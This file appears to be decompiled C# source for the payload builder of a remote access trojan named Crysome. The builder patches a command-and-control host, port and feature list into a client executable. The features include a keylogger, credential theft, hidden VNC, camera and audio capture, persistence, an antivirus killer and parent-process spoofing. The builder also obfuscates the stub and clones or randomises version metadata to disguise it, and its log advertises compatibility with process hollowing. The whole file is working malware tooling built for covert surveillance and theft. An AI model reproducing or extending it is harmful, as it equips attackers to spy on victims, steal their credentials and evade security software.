Files
crysome/Crysome.Server/Crysome.Server.ViewModel/BuilderViewModel.cs
T

1035 lines
21 KiB
C#
Raw Normal View History

2026-08-27 11:22:54 -06:00
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Input;
using Crysome.Obfuscator;
using Microsoft.Win32;
using Vestris.ResourceLib;
using dnlib.DotNet;
namespace Crysome.Server.ViewModel;
public class BuilderViewModel : ViewModelBase
{
private const string EmbeddedMarker = "##CRYCFG##";
private const int PaddingChars = 502;
private const int TotalChars = 512;
private const byte PaddingByteLow = 1;
private const byte PaddingByteHigh = 0;
private string _ip = "127.0.0.1";
private string _port = "7777";
private string _group = "";
private bool _featPersistence;
private bool _featObfuscate;
private bool _featCmd = true;
private bool _featFile = true;
private bool _featDirectLink = true;
private bool _featScreenshot = true;
private bool _featFileMgr = true;
private bool _featProcess = true;
private bool _featRestart = true;
private bool _featProxy = true;
private bool _featDesktop = true;
private bool _featHvnc = true;
private bool _featCredentials = true;
private bool _featKeylogger = true;
private bool _featChat = true;
private bool _featAudio = true;
private bool _featCamera = true;
private bool _featSurvival;
private bool _featAvKiller;
private bool _featProtect;
private string _parentSpoof = "None";
private string _stubPath = "";
private string _iconPath = "";
private bool _enableAssemblyEdit;
private string _asmTitle = "";
private string _asmDescription = "";
private string _asmCompany = "";
private string _asmProduct = "";
private string _asmCopyright = "";
private string _asmVersion = "1.0.0.0";
private readonly MainViewModel _mainVm;
private static readonly Random _rnd = new Random();
public string IP
{
get
{
return _ip;
}
set
{
_ip = value;
OnPropertyChanged("IP");
}
}
public string Port
{
get
{
return _port;
}
set
{
_port = value;
OnPropertyChanged("Port");
}
}
public string Group
{
get
{
return _group;
}
set
{
_group = value;
OnPropertyChanged("Group");
}
}
public bool FeatPersistence
{
get
{
return _featPersistence;
}
set
{
_featPersistence = value;
OnPropertyChanged("FeatPersistence");
}
}
public bool FeatObfuscate
{
get
{
return _featObfuscate;
}
set
{
_featObfuscate = value;
OnPropertyChanged("FeatObfuscate");
}
}
public bool FeatCmd
{
get
{
return _featCmd;
}
set
{
_featCmd = value;
OnPropertyChanged("FeatCmd");
}
}
public bool FeatFile
{
get
{
return _featFile;
}
set
{
_featFile = value;
OnPropertyChanged("FeatFile");
}
}
public bool FeatDirectLink
{
get
{
return _featDirectLink;
}
set
{
_featDirectLink = value;
OnPropertyChanged("FeatDirectLink");
}
}
public bool FeatScreenshot
{
get
{
return _featScreenshot;
}
set
{
_featScreenshot = value;
OnPropertyChanged("FeatScreenshot");
}
}
public bool FeatFileMgr
{
get
{
return _featFileMgr;
}
set
{
_featFileMgr = value;
OnPropertyChanged("FeatFileMgr");
}
}
public bool FeatProcess
{
get
{
return _featProcess;
}
set
{
_featProcess = value;
OnPropertyChanged("FeatProcess");
}
}
public bool FeatRestart
{
get
{
return _featRestart;
}
set
{
_featRestart = value;
OnPropertyChanged("FeatRestart");
}
}
public bool FeatProxy
{
get
{
return _featProxy;
}
set
{
_featProxy = value;
OnPropertyChanged("FeatProxy");
}
}
public bool FeatDesktop
{
get
{
return _featDesktop;
}
set
{
_featDesktop = value;
OnPropertyChanged("FeatDesktop");
}
}
public bool FeatHvnc
{
get
{
return _featHvnc;
}
set
{
_featHvnc = value;
OnPropertyChanged("FeatHvnc");
}
}
public bool FeatCredentials
{
get
{
return _featCredentials;
}
set
{
_featCredentials = value;
OnPropertyChanged("FeatCredentials");
}
}
public bool FeatKeylogger
{
get
{
return _featKeylogger;
}
set
{
_featKeylogger = value;
OnPropertyChanged("FeatKeylogger");
}
}
public bool FeatChat
{
get
{
return _featChat;
}
set
{
_featChat = value;
OnPropertyChanged("FeatChat");
}
}
public bool FeatAudio
{
get
{
return _featAudio;
}
set
{
_featAudio = value;
OnPropertyChanged("FeatAudio");
}
}
public bool FeatCamera
{
get
{
return _featCamera;
}
set
{
_featCamera = value;
OnPropertyChanged("FeatCamera");
}
}
public bool FeatSurvival
{
get
{
return _featSurvival;
}
set
{
_featSurvival = value;
OnPropertyChanged("FeatSurvival");
}
}
public bool FeatAvKiller
{
get
{
return _featAvKiller;
}
set
{
_featAvKiller = value;
OnPropertyChanged("FeatAvKiller");
}
}
public bool FeatProtect
{
get
{
return _featProtect;
}
set
{
_featProtect = value;
OnPropertyChanged("FeatProtect");
}
}
public string ParentSpoof
{
get
{
return _parentSpoof;
}
set
{
_parentSpoof = value ?? "None";
OnPropertyChanged("ParentSpoof");
}
}
public ObservableCollection<string> ParentSpoofOptions { get; } = new ObservableCollection<string> { "None", "wininit", "explorer", "svchost" };
public ObservableCollection<string> BuildLog { get; set; } = new ObservableCollection<string>();
public ICommand BuildCommand { get; }
public ICommand BrowseStubCommand { get; }
public ICommand GoBackCommand { get; }
public string StubPath
{
get
{
return _stubPath;
}
set
{
_stubPath = value;
OnPropertyChanged("StubPath");
}
}
public string IconPath
{
get
{
return _iconPath;
}
set
{
_iconPath = value;
OnPropertyChanged("IconPath");
}
}
public bool EnableAssemblyEdit
{
get
{
return _enableAssemblyEdit;
}
set
{
_enableAssemblyEdit = value;
OnPropertyChanged("EnableAssemblyEdit");
}
}
public string AsmTitle
{
get
{
return _asmTitle;
}
set
{
_asmTitle = value;
OnPropertyChanged("AsmTitle");
}
}
public string AsmDescription
{
get
{
return _asmDescription;
}
set
{
_asmDescription = value;
OnPropertyChanged("AsmDescription");
}
}
public string AsmCompany
{
get
{
return _asmCompany;
}
set
{
_asmCompany = value;
OnPropertyChanged("AsmCompany");
}
}
public string AsmProduct
{
get
{
return _asmProduct;
}
set
{
_asmProduct = value;
OnPropertyChanged("AsmProduct");
}
}
public string AsmCopyright
{
get
{
return _asmCopyright;
}
set
{
_asmCopyright = value;
OnPropertyChanged("AsmCopyright");
}
}
public string AsmVersion
{
get
{
return _asmVersion;
}
set
{
_asmVersion = value;
OnPropertyChanged("AsmVersion");
}
}
public ICommand BrowseIconCommand { get; }
public ICommand CloneAssemblyCommand { get; }
public ICommand RandomizeAssemblyCommand { get; }
private static string RandomGroupName()
{
int count = _rnd.Next(6, 11);
return "grp_" + new string((from _ in Enumerable.Range(0, count)
select "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray());
}
public BuilderViewModel(MainViewModel mainVm)
{
_mainVm = mainVm;
Group = RandomGroupName();
BuildCommand = new RelayCommand<object>(delegate
{
DoBuild();
});
BrowseStubCommand = new RelayCommand<object>(delegate
{
DoBrowseStub();
});
BrowseIconCommand = new RelayCommand<object>(delegate
{
DoBrowseIcon();
});
CloneAssemblyCommand = new RelayCommand<object>(delegate
{
DoCloneAssembly();
});
RandomizeAssemblyCommand = new RelayCommand<object>(delegate
{
DoRandomizeAssembly();
});
GoBackCommand = new RelayCommand<object>(delegate
{
_mainVm.GoToClients();
});
string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Crysome.Client.exe");
if (File.Exists(text))
{
StubPath = text;
}
}
private void DoBrowseStub()
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "Executables|*.exe",
Title = "Select Crysome.Client.exe"
};
if (openFileDialog.ShowDialog() == true)
{
StubPath = openFileDialog.FileName;
}
}
private void DoBrowseIcon()
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "Icons|*.ico",
Title = "Select Icon"
};
if (openFileDialog.ShowDialog() == true)
{
IconPath = openFileDialog.FileName;
}
}
private void DoCloneAssembly()
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "Executables|*.exe;*.dll",
Title = "Select Assembly to Clone"
};
if (openFileDialog.ShowDialog() == true)
{
try
{
FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(openFileDialog.FileName);
AsmTitle = versionInfo.FileDescription ?? "";
AsmDescription = versionInfo.Comments ?? "";
AsmCompany = versionInfo.CompanyName ?? "";
AsmProduct = versionInfo.ProductName ?? "";
AsmCopyright = versionInfo.LegalCopyright ?? "";
AsmVersion = versionInfo.FileVersion ?? "1.0.0.0";
EnableAssemblyEdit = true;
Log("Cloned assembly info from: " + Path.GetFileName(openFileDialog.FileName));
}
catch (Exception ex)
{
Log("Error cloning assembly: " + ex.Message);
}
}
}
private void DoRandomizeAssembly()
{
AsmTitle = RandomString(8);
AsmDescription = RandomString(12);
AsmCompany = RandomString(8);
AsmProduct = RandomString(8);
AsmCopyright = "Copyright © " + DateTime.Now.Year + " " + AsmCompany;
AsmVersion = _rnd.Next(1, 10) + "." + _rnd.Next(0, 10) + "." + _rnd.Next(0, 10) + "." + _rnd.Next(0, 100);
EnableAssemblyEdit = true;
Log("Randomized assembly info.");
}
private string RandomString(int len)
{
return new string((from s in Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", len)
select s[_rnd.Next(s.Length)]).ToArray());
}
private static int FindBytes(byte[] haystack, byte[] needle, int startIndex = 0)
{
int num = haystack.Length - needle.Length;
for (int i = startIndex; i <= num; i++)
{
bool flag = true;
for (int j = 0; j < needle.Length; j++)
{
if (haystack[i + j] != needle[j])
{
flag = false;
break;
}
}
if (flag)
{
return i;
}
}
return -1;
}
private void DoBuild()
{
BuildLog.Clear();
try
{
if (string.IsNullOrWhiteSpace(IP))
{
Log("ERROR: IP is empty.");
return;
}
if (!int.TryParse(Port, out var result) || result < 1 || result > 65535)
{
Log("ERROR: Port must be 1-65535.");
return;
}
if (string.IsNullOrEmpty(StubPath) || !File.Exists(StubPath))
{
Log("ERROR: Select Crysome.Client.exe first.");
return;
}
List<string> list = new List<string>();
if (FeatCmd)
{
list.Add("cmd");
}
if (FeatFile)
{
list.Add("file");
}
if (FeatDirectLink)
{
list.Add("direct");
}
if (FeatScreenshot)
{
list.Add("screen");
}
if (FeatFileMgr)
{
list.Add("filemgr");
}
if (FeatProcess)
{
list.Add("proc");
}
if (FeatRestart)
{
list.Add("restart");
}
if (FeatProxy)
{
list.Add("proxy");
}
if (FeatDesktop)
{
list.Add("rdp");
}
if (FeatHvnc)
{
list.Add("hvnc");
}
if (FeatCredentials)
{
list.Add("cred");
}
if (FeatKeylogger)
{
list.Add("keylog");
}
if (FeatChat)
{
list.Add("chat");
}
if (FeatAudio)
{
list.Add("audio");
}
if (FeatCamera)
{
list.Add("cam");
}
if (FeatSurvival)
{
list.Add("survival");
}
if (FeatAvKiller)
{
list.Add("avkill");
}
if (FeatProtect)
{
list.Add("protect");
}
string text = ((list.Count >= 18) ? "" : string.Join(",", list));
string text2 = (ParentSpoof ?? "").Trim().ToLowerInvariant();
string text3 = ((text2 == "none" || string.IsNullOrEmpty(text2)) ? "" : text2);
string text4 = "{\"host\":\"" + EscapeJson(IP.Trim()) + "\",\"port\":\"" + result + "\",\"group\":\"" + EscapeJson((Group ?? "").Trim()) + "\",\"persistence\":\"" + (FeatPersistence ? "true" : "false") + "\"" + (string.IsNullOrEmpty(text) ? "" : (",\"feat\":\"" + EscapeJson(text) + "\"")) + (string.IsNullOrEmpty(text3) ? "" : (",\"parent\":\"" + EscapeJson(text3) + "\"")) + "}";
if (text4.Length > 502)
{
Log("ERROR: Config JSON too long (" + text4.Length + " chars, max " + 502 + ").");
return;
}
byte[] bytes = Encoding.Unicode.GetBytes("##CRYCFG##");
byte[] array = new byte[8];
for (int i = 0; i < array.Length; i += 2)
{
array[i] = 1;
array[i + 1] = 0;
}
byte[] array2 = new byte[bytes.Length + array.Length];
Array.Copy(bytes, 0, array2, 0, bytes.Length);
Array.Copy(array, 0, array2, bytes.Length, array.Length);
string text5 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Build.exe");
string text6 = StubPath;
if (FeatObfuscate)
{
try
{
text6 = Path.Combine(Path.GetTempPath(), "crysome_obf_" + Guid.NewGuid().ToString("N") + ".exe");
Log("Obfuscating stub: " + StubPath);
CryObfuscator.Obfuscate(StubPath, text6, (Action<string>)Log);
if (!File.Exists(text6))
{
Log("ERROR: Obfuscation produced no output file. Using non-obfuscated stub.");
text6 = StubPath;
}
else
{
Log("Obfuscation OK. Patching config into obfuscated file.");
}
}
catch (Exception ex)
{
Log("ERROR: Obfuscation failed — " + ex.Message);
Log(" Using non-obfuscated stub. Build Crysome.Client first, then point Stub to bin\\net472\\Crysome.Client.exe");
text6 = StubPath;
}
}
byte[] array3 = File.ReadAllBytes(text6);
if (text6 != StubPath)
{
try
{
File.Delete(text6);
}
catch
{
}
}
Log("Loaded: " + array3.Length / 1024 + " KB");
if (!string.IsNullOrEmpty(IconPath) && File.Exists(IconPath))
{
Log("Icon changing requires external library (Vestris.ResourceLib). Skipping for now.");
}
if (EnableAssemblyEdit)
{
Log("Assembly Info editing requires external library (Vestris.ResourceLib). Skipping for now.");
}
int num = FindBytes(array3, array2);
if (num < 0)
{
Log("WARNING: Embedded config placeholder not found. Will append config to tail instead.");
}
else
{
Log("Placeholder found at offset 0x" + num.ToString("X8"));
byte[] bytes2 = Encoding.Unicode.GetBytes(text4);
int num2 = num + bytes.Length;
int num3 = 1004;
Array.Copy(bytes2, 0, array3, num2, bytes2.Length);
for (int j = num2 + bytes2.Length; j < num2 + num3; j++)
{
array3[j] = 0;
}
}
File.WriteAllBytes(text5, array3);
if (!string.IsNullOrEmpty(IconPath) && File.Exists(IconPath))
{
try
{
Log("Injecting icon...");
new IconDirectoryResource(new IconFile(IconPath)).SaveTo(text5);
Log("Icon injected successfully.");
}
catch (Exception ex2)
{
Log("Icon injection failed: " + ex2.Message);
}
}
if (EnableAssemblyEdit)
{
try
{
Log("Updating assembly info (native resources)...");
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(text5);
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
StringTable stringTable = null;
if (stringFileInfo.Strings.Count > 0)
{
stringTable = stringFileInfo.Strings.Values.First();
}
else
{
stringTable = new StringTable("000004b0");
stringFileInfo.Strings.Add(stringTable.Key, stringTable);
}
SetVer("FileDescription", AsmTitle);
SetVer("Comments", AsmDescription);
SetVer("CompanyName", AsmCompany);
SetVer("ProductName", AsmProduct);
SetVer("LegalCopyright", AsmCopyright);
SetVer("FileVersion", AsmVersion);
SetVer("ProductVersion", AsmVersion);
SetVer("OriginalFilename", Path.GetFileName(text5));
SetVer("InternalName", Path.GetFileNameWithoutExtension(text5));
try
{
string[] array4 = AsmVersion.Split('.');
if (array4.Length >= 4)
{
ushort.Parse(array4[0]);
ushort.Parse(array4[1]);
ushort.Parse(array4[2]);
ushort.Parse(array4[3]);
versionResource.FileVersion = AsmVersion;
versionResource.ProductVersion = AsmVersion;
}
}
catch (Exception ex3)
{
Log("FixedFileInfo update failed: " + ex3.Message);
}
versionResource.SaveTo(text5);
Log("Assembly info (native) updated.");
void SetVer(string key, string val)
{
try
{
if (stringTable.Strings.ContainsKey(key))
{
stringTable.Strings.Remove(key);
}
StringTableEntry value = new StringTableEntry(key)
{
Value = val
};
stringTable.Strings.Add(key, value);
}
catch (Exception ex9)
{
Log("SetVer failed for " + key + ": " + ex9.Message);
}
}
}
catch (Exception ex4)
{
Log("Assembly info update failed: " + ex4.Message);
}
try
{
Log("Updating .NET Assembly Attributes (dnlib)...");
using ModuleDefMD moduleDefMD = ModuleDefMD.Load(text5);
AssemblyDef assembly = moduleDefMD.Assembly;
if (assembly != null)
{
assembly.Name = AsmTitle;
try
{
Version version = new Version(AsmVersion);
assembly.Version = version;
}
catch
{
}
moduleDefMD.Write(text5);
Log(".NET Assembly attributes updated.");
}
}
catch (Exception ex5)
{
Log("Warning: .NET attribute update failed or skipped: " + ex5.Message);
}
}
try
{
using (FileStream fileStream = new FileStream(text5, FileMode.Append, FileAccess.Write, FileShare.Read))
{
string s = "##CRYCONFIG##" + text4;
byte[] bytes3 = Encoding.UTF8.GetBytes(s);
fileStream.Write(bytes3, 0, bytes3.Length);
}
Log("Tail config appended");
}
catch (Exception ex6)
{
Log("WARNING: Tail config append failed: " + ex6.Message);
}
long length = new FileInfo(text5).Length;
Log("Config patched inside PE metadata (same file size, no resources)");
Log("");
Log("Host: " + IP.Trim());
Log("Port: " + result);
Log("Group: " + (Group ?? "").Trim());
Log("Persistence: " + FeatPersistence);
Log("Features: " + (string.IsNullOrEmpty(text) ? "all" : text));
if (!string.IsNullOrEmpty(text3))
{
Log("Parent spoof: " + text3 + ".exe");
}
Log("");
Log("BUILD DONE!");
Log("Output: " + text5);
try
{
string text7 = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Data", "inventory_rules.json");
string text8 = Path.Combine(Path.GetDirectoryName(text5) ?? "", "inventory_rules.json");
if (File.Exists(text7) && !string.IsNullOrEmpty(text8))
{
File.Copy(text7, text8, overwrite: true);
Log("inventory_rules.json copied next to client.");
}
}
catch (Exception ex7)
{
Log("inventory_rules.json copy: " + ex7.Message);
}
Log("Size: " + length / 1024 + " KB");
Log("");
Log("Crypt-safe: config is inside PE metadata, not appended or in resources.");
Log("Works with process hollowing (msbuild, regasm, etc).");
if (FeatObfuscate)
{
Log("Tip: For best obfuscation, use Client built without Costura: dotnet build Crysome.Client -p:ObfuscateBuild=true");
}
}
catch (Exception ex8)
{
Log("ERROR: " + ex8.Message);
}
}
private static string EscapeJson(string s)
{
if (string.IsNullOrEmpty(s))
{
return "";
}
return s.Replace("\\", "\\\\").Replace("\"", "\\\"");
}
private void Log(string msg)
{
BuildLog.Add(string.IsNullOrEmpty(msg) ? "" : ("[" + DateTime.Now.ToString("HH:mm:ss") + "] " + msg));
}
}